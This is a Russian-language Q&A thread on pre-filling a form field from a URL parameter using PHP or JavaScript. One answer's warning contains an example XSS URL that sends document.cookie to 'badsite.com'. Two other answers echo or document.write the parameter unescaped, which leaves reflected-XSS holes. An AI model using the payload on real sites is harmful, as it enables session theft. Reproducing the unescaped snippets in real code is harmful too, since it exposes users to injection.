Предварительное заполнение форм ввода значениями параметров URL - PullRequest
1 голос
/ 20 мая 2011

Я хочу предварительно заполнить форму переменными из URL.Как мне это сделать?

Например:

http://somewhere.com?name=john

Тогда поле имени в форме будет предварительно заполнено "John", и если в URL не будет имени, тогдаполе будет пустым и готовым для заполнения.

Заранее спасибо ..

Ответы [ 4 ]

3 голосов
/ 20 мая 2011

Ну, используя php, что-то вроде

<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />

Я не уверен, как разобрать переменные get, используя javascript ..

Кроме того, не забудьте добавить htmlspecialchars, чтобыпредотвратить атаки CSR.Если кто-то запустит что-то вроде: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Может плохо получиться (просто пример, не уверен, работает ли он).

1 голос
/ 20 мая 2011

Вы используете значение PHP $_GET['name'] в качестве значения элемента формы. Если значение не установлено, значение будет пустым, что вам и нужно.

<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
1 голос
/ 20 мая 2011

PHP-путь:

<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>

Для javascript вы должны сначала найти способ получить переменные GET. Посмотрите на это: Как получить параметры запроса "GET" в JavaScript?

После включения функции, предложенной в ответе, вы можете сделать следующее:

document.write('<input type="text" name="name" value="'
  + get('name')
  + '"/>'); 
0 голосов
/ 20 мая 2011

На стороне сервера это лучший способ (PHP или любой другой язык, на котором вы кодируете). Он устраняет проблемы с производительностью на стороне клиента и в целом и в целом более надежен.

Если вам нужно было использовать JavaScript, выможет сделать это с помощью этого плагина jQuery (или посмотреть на источник, чтобы узнать, что / как он получает параметры GET из текущего window.location.)

http://www.mathias -bank.de/ 2007/04/21 / jquery-plugin-geturlparam-version-2 /

Затем используйте функцию $('input').val() для установки значения.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...